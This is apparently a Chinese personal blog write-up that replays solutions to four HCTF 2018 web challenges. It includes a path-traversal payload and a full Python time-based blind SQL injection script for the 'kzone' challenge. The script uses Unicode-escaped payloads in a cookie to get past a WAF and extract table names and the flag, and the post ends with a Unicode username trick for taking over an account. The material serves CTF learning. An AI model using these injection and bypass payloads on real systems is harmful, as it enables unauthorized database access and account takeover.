醉梦半醒的博客

2018hctf web

字数统计: 930阅读时长: 4 min
2018/11/18 Share

HCTF的时间和软考撞了,这个星期复现一下(还不是自己太菜了说)

1.warmup:

首先打开hint文件

打开flag,无法进入.首先想到%00截断,也无效果

在首页index.php中发现源码链接:

关键部分为:

看来是通过?分割的

payload:index.php?file=hint.php?/../../../../../ffffllllaaaagggg

2.kzone:

部署问题:复现的时候部署在centos7上出现了403问题,进入容器就已经403了,后面出题人大哥说ubuntu部署没有问题,换成了ubuntu,没有发现问题

打开后跳转到了qq空间

利用fiddler改response包发现是个钓鱼的页面(https://www.cnblogs.com/pachongshangdexuebi/p/6600962.html):

或者curl也可以看出源码

用御剑去扫描,发现一个www.zip的源码泄露

去admin/login看一下源码:

对参数进行了过滤,看来注入的思路行不通,发现code include了一个common.php.去看看是什么鬼

error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb679546');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();

include ROOT.'../config.php';

if(!isset($port))$port='3306';
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);

$password_hash='!@#%!s!';
require_once "safe.php";
require_once ROOT."function.php";
require_once ROOT."member.php";
require_once ROOT."os.php";
require_once ROOT."kill.intercept.php";

require_once了很多文件,safe是一个waf,过滤了很多东西:

去member.php看看,发现

里面有个对cookie和session的判断:

定位到14行,==是弱类型判断,判断成功后将islogin的变量赋值为1

回到admin/login.php

在48行,如果islogin=1,那么进行了登录:

ok,整体的逻辑架构就是这样,member.php在最前头有个判断,所以无法利用,但是common.php和login.php都包含了这个文件

且member.php有个json_decode的操作,我们利用cookie进行爆破,然后登录

成功进入了页面,翻一翻,好像没有可以利用的地方啊

后面参考wp,原来在member.php里有个查询数据库的操作是可以注入的….

来自出题人:

利用平台本身的逻辑问题,就可以实现布尔注入,具体位置就在上面的代码中:

当查询返回的用户名为空且密码错误时,进行四次setcookie 操作
当查询返回的用户名为不为空时,进行两次setcookie 操作

利用这个差异,就已经可以实现布尔盲注了。

https://www.css-js.com/tools/unicode.html

用这个编码对json进行绕过

知识点:https://xz.aliyun.com/t/306#toc-0

我看到网上很多人都是直接select * from Fl444g ,所以说你们是怎么知道表名是这个的…

 

import requests
import time
url = "http://192.168.40.131:10000/admin/login.php"
flag = ''
dic = "0123456789abcdefghijklmnopqrstuvwxyz{}_ABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+|,-./:;<=>?@"
for x in range(1,50):
    for i in dic:
        startTime = time.time()
        #poc = "'\u006fr\u0020su\u0062str(passwo\u0072d,{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,chr(i))
        #admin BE933CBA048A9727A2D2E9E08F5ED046
        #poc = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020table_name\u0020from\u0020inf\u006frmation_schema.tables\u0020where\u0020TABLE_SCHEMA\u003ddatabase()\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
        #F1444g
        #poc = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020column_name\u0020from\u0020inf\u006frmation_schema.columns\u0020where\u0020TABLE_SCHEMA\u003ddatabase()\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
        #F1a9
        poc = "'\u006fr\u0020su\u0062str((select\u0020binary\u0020F1a9\u0020from\u0020F1444g\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(6)\u0023".format(x,i)
        headers = {"Cookie":'islogin=1; login_data={\"admin_user\":\"'+poc+'\"}'}
        r = requests.get(url,headers=headers)
        if time.time() - startTime > 5:
            flag += i
            print flag
            break

脚本源地址:https://xz.aliyun.com/t/3256
用了飘零大佬的sqlmap解法没搞出来…

 

3.game

order=password会根据密码进行排列,这是有多无聊…..不断注册账号蜜汁尴尬…算了,还是多学学大佬的脚本吧

4.admin

先注册一个ᴬdmin的账户,后台会转成小写,更改密码越权,登录后得到flag

CATALOG